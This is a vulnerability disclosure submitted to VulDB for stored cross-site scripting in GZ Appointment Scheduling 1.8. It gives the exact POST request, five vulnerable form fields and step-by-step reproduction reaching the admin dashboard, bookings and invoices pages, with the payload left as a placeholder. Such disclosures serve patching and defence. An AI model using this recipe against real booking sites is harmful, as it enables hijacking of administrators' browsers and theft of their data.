Enviar #175923: GZ Appointment Scheduling 1.8 - Stored XSS

Author : skalvin aka (CraCkEr)
Date : 29/06/2023
Website : https://gzscripts.com/php-gz-appointment-scheduling-script.html
Vendor : GZ Scripts
Software : GZ Appointment Scheduling 1.8
Vuln Type: Stored XSS
Impact : Manipulate the content of the site

Release Notes:

Allow Attacker to inject malicious code into website, give ability to steal sensitive
information, manipulate data, and launch additional attacks.

## Stored XSS

-----------------------------------------------
POST /PHPGZAppointment/load.php?controller=GzFront&action=step5 HTTP/1.1

service_id=1&employee_id=1&timeslot=1688119200&lang=3&date=2023-06-30&title=mr&male=male&first_name=[XSS Payload]&second_name=[XSS Payload]&phone=[XSS Payload]&email=cracker%40infosec.com&company=xxx&address_1=[XSS Payload]&address_2=xxx&city=xxx&state=xxx&zip=xxx&country=[XSS Payload]&additional=xxx&captcha=murimy&terms=1&lang=3
-----------------------------------------------

POST parameter 'first_name' is vulnerable to XSS
POST parameter 'second_name' is vulnerable to XSS
POST parameter 'phone' is vulnerable to XSS
POST parameter 'address_1' is vulnerable to XSS
POST parameter 'country' is vulnerable to XSS

## Steps to Reproduce:

1. As a [Guest User] Choose any [Employee] & Select the Day and the Time
2. Inject your [XSS Payload] in "First Name"
3. Inject your [XSS Payload] in "Last Name"
4. Inject your [XSS Payload] in "Phone"
5. Inject your [XSS Payload] in "Address Line 1"
6. Inject your [XSS Payload] in "Country"

7. Accept with terms & Press [Booking]
XSS Fired on Local User Browser

8. When ADMIN visit [Dashboard] in Administration Panel on this Path (https://website/index.php#!/GzAdmin/home/)
XSS Will Fire and Executed on his Browser

9. When ADMIN visit [Bookings] - [All Booking] to check [Pending Booking] on this Path (https://website/index.php#!/GzBooking/index/)
XSS Will Fire and Executed on his Browser

10. When ADMIN visit [Invoices ] - [All Invoices] to check [Pending Invoices] on this Path (https://website/index.php#!/GzInvoice/index/)
XSS Will Fire and Executed on his Browser

[-] Done

• Usuario: skalvin (UID 49463)
• Sumisión: 2023-06-29 22:26 (hace 3 años)
• Moderación: 2023-07-08 13:55 (9 days later)
• Estado: Aceptado
• Entrada de VulDB: 233353 [GZ Scripts PHP GZ Appointment Scheduling Script 1.8 /load.php first_name/second_name/phone/address_1/country secuencias de comandos en sitios cruzados]
• Puntos: 17